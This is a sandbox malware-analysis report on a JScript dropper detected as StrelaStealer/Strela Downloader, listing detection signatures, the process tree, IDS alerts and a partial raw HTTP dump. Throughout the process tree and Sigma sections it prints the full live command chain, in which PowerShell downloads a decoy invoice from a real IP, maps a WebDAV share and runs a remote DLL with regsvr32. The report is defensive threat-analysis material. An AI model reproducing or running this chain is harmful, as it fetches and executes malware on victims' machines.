Edit tour

Windows Analysis Report
1147112155713680.js

Overview

General Information

Sample name:	1147112155713680.js
Analysis ID:	1588768
MD5:	17b9ef528cc9a32ecc53f998aac77917
SHA1:	2bebd88c0dc8499d0dbb5ce6a07944d7ce8f2430
SHA256:	e3454750b9ddfa6fb69c1be403b87f6c0a4f69eec9e39e83e9a9e494ef1f0286
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7820 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1147112155713680.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7904 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7952 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8140 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7588 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2344 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1608,i,14978017401034862837,9228720302185568049,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8156 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8184 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6032 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7820	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7904, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7952, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7904, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7952, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1147112155713680.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1147112155713680.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1147112155713680.js", ProcessId: 7820, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8184, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1147112155713680.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7820, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ProcessId: 7904, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1147112155713680.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7820, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ProcessId: 7904, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1147112155713680.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7820, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ProcessId: 7904, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1147112155713680.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7820, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ProcessId: 7904, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1147112155713680.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7820, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ProcessId: 7904, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1147112155713680.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1147112155713680.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1147112155713680.js", ProcessId: 7820, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7904, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7952, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8156, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8184, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6032, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8156, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8184, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1147112155713680.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7820, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll, ProcessId: 7904, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:17:37.733047+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:17:40.447624+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:17:37.733047+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1147112155713680.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1147112155713680.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1147112155713680.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49705 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:17:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

